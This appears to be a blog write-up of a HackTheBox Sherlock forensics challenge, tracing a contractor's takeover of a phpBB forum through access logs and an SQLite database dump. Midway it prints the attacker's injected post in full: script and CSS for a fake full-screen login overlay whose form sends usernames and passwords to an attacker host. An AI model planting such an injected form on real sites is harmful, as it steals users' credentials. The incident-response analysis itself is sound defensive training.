HTB Sherlock: Bumblebee

HTB Sherlock: Bumblebee

Network logs and SQLite querying

ยท

5 min read

๐Ÿ’ก
This write-up is a part of the HTB Sherlocks series. Sherlocks are investigative challenges that test defensive security skills. I encourage you to try them out if you like digital forensics, incident response, post-breach analysis and malware analysis. Are you ready to start the investigation?

Incident Details

Name: Bumblebee
Category: DFIR
Difficulty: Easy (Solved)

An external contractor has accessed the internal forum here at Forela via the Guest WiFi and they appear to have stolen credentials for the administrative user! We have attached some logs from the forum and a full database dump in sqlite3 format to help you in your investigation.

Evidences

All evidence files are marked as readonly right after acquiring and their hash (sha256) is written down. Read-only attribute does not affect the hash of a file.

01: ZIP archive, password protected (hacktheblue)

$ bumblebee.zip
aa2f772a208f4bec24e99242b541b95302175a0960f326d107f5bfddbcf61775

02: gzip compressed data

$ bumblebee.zip/incident.tgz
58bf64aeabde58d057ef690c3f41aed48fdcafc3c81e3382df95c34ad1f51a24

03: POSIX tar archive

$ bumblebee.zip/incident.tgz/incident.tar
6822ffb99b274523f741d37236f018b0ef6b1b945d9a92d88ba9911d2ca26869

04: ASCII text

bumblebee.zip/.../access.log
43ca54b7fce36f772d8e0705625b2f54eaf91a3d32e71d342b1c4af7a16ce577

05: SQLite 3.x database

bumblebee.zip/.../phpbb.sqlite3
ec7579dbe5435f1972a44d462a8dd0b76db994be4eb5f68b5c3622164418940f

Analysis

Customer provided the logs from web server (forum) and a database file (SQLite3). Name of the databse file and some requests in logs suggest that the forum was phpBB running on the PHP engine.

access.log

Consists only with GET/POST requests with few repetitions of OPTIONS:

::1 - - [25/Apr/2023:15:52:40 +0100] "OPTIONS * HTTP/1.0" 200 126 "-" "Apache/2.4.56 (Debian) (internal dummy connection)"

Shoting blindly with some potential RCEs

grep -iE "(sh|cmd|exec)" access.log | grep -ivE "(macintosh|sheet)

Checking for some unusual requests.

grep -E "(DELETE,PUT)" access.log

Questions

In this scenario we have 10 questions to answer.

  1. What was the username of the external contractor?

Grepping the logs for "username", "user", "login", "sign" returns nothing useful at the moment, so I'm looking into the database file.

$ sqlite -readonly phpbb.sqlite3

sqlite> .output db/phpbb_log.sql
sqlite> .dump phpbb_log
sqlite> .output db/phpbb_users.sql
sqlite> .dump phpbb_users

At database we can see two users with a mail domain '@contractor.net'. I have no idea which one is the contractor in question but nevertheless one of the usernames is the correct answer.

  1. What IP address did the contractor use to create their account?

This can be found in phpbb_logs table, with action LOG_USERS_ADDED.

  1. What is the post_id of the malicious post that the contractor made?

Ah, so the contractor was the one who compromised the administrator account. I thougth that "they" meant owners of that Guest WiFi, but ok.

Grepping access.log for post_id returns nothing. Dumping php table:

sqlite> .output db/phpbb_posts.sql
sqlite> .dump phpbb_posts

Fortunatelly there are not really must post there. Malicious post with cookie stealing injection is there.

Injected form (pruned of unnecessary elements) is below.

<div>
    //...
    <script type="text/javascript">
        function sethidden() {
            const d = new Date()
            d.setTime(d.getTime() + 24 * 60 * 60 * 1000)
            let expires = 'expires=' + d.toUTCString()
            document.cookie = 'phpbb_token=1;' + expires + ';'
            var modal = document.getElementById('zbzbz1234')
            modal.classList.add('hidden')
        }
        document.addEventListener('DOMContentLoaded', function (event) {
            let cookieexists = false
            let name = 'phpbb_token='
            let cookies = decodeURIComponent(document.cookie)
            let ca = cookies.split('; ')
            for (let i = 0; i < ca.length; i++) {
                let c = ca[i]
                while (c.charAt(0) == ' ') {
                    c = c.substring(1)
                }
                if (c.indexOf(name) == 0) {
                    cookieexists = true
                }
            }
            if (cookieexists) {
                return
            }
            var modal = document.getElementById('zbzbz1234')
            modal.classList.remove('hidden')
        })
    </script>
    //...
    <div class="modal hidden" id="zbzbz1234" onload="shouldshow">
        <div id="wrap" class="wrap"> <a id="top" class="top-anchor" accesskey="t"></a>
            <form action="http://10.10.0.78/update.php" method="post" id="login" data-focus="username"
                target="hiddenframe">
                <div class="panel">
                    <div class="inner">
                        <div class="content">
                            <h2 class="login-title">Login</h2>
                            <fieldset class="fields1">
                                <dl>
                                    <dt><label for="username">Username:</label></dt>
                                    <dd><input type="text" tabindex="1" name="username" id="username" size="25"
                                            value="" class="inputbox autowidth"></dd>
                                </dl>
                                <dl>
                                    <dt><label for="password">Password:</label></dt>
                                    <dd><input type="password" tabindex="2" id="password" name="password" size="25"
                                            class="inputbox autowidth" autocomplete="off"></dd>
                                </dl>
                                <dl>
                                    <dd><label for="autologin"><input type="checkbox" name="autologin"
                                                id="autologin" tabindex="4">Remember me</label></dd>
                                    <dd><label for="viewonline"><input type="checkbox" name="viewonline"
                                                id="viewonline" tabindex="5">Hide my online status this
                                            session</label></dd>
                                </dl>
                                <dl>
                                    <dt>&nbsp;</dt>
                                    <dd> <input type="submit" name="login" tabindex="6" value="Login"
                                            class="button1" onclick="sethidden()"></dd>
                                </dl>
                            </fieldset class="fields1">
                        </div>
                    </div>
                </div>
            </form>
        </div>
    </div>
</div>

CSS styling used to "override" the browser content:

.modal {
    position: fixed;
    top: 0;
    left: 0;
    height: 100%;
    width: 100%;
    z-index: 101;
    background-color: white;
    opacity: 1;
}

When someone enters credentials and tries to sing-in, username and password were redirected to the php script attacker controls:

<form action="http://10.10.0.78/update.php" method="post" ...

  1. What is the full URI that the credential stealer sends its data to?

Answer: http://10.10.0.78/update.php

  1. When did the contractor log into the forum as the administrator? (UTC)

  2. In the forum there are plaintext credentials for the LDAP connection, what is the password?

There is a plugin added to the phpBB that enabled LDAP connections, so let't try grepping config for the hope that LDAP connection details are stored there.

$ sqlite3 phpbb.sqlite3 ".dump phpbb_config" | grep -i ldap

  1. What is the user agent of the Administrator user?

User agents are listed in the access.log

  1. What time did the contractor add themselves to the Administrator group? (UTC)

Returning to the phpbb_logs table.

date -u -d @1682506431 "+%d/%m/%Y %H:%M:%S"
  1. What time did the contractor download the database backup? (UTC)

Again, access.log

$ grep -iE "(.sql.)" access.log

  1. What was the size in bytes of the database backup as stated by access.log?

Size is in the same line as previous answer.

Answer: 34707

Data Recovery

None required.

Lessons Learned

  • Grepping sqlite3 outputs (sqlite3 [dbfile] ".dump ..." | grep ...)

  • Converting Unix timestamp to UTC (date -u -d @1682506431 "+%d/%m/%Y %H:%M:%S")

Additional readings

Did you find this article valuable?

Support Kamil Gierach-Pacanek by becoming a sponsor. Any amount is appreciated!

ย